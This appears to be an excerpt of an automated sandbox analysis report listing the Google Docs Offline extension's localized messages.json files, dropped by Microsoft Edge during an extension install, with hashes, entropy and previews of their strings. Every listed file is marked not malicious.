Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
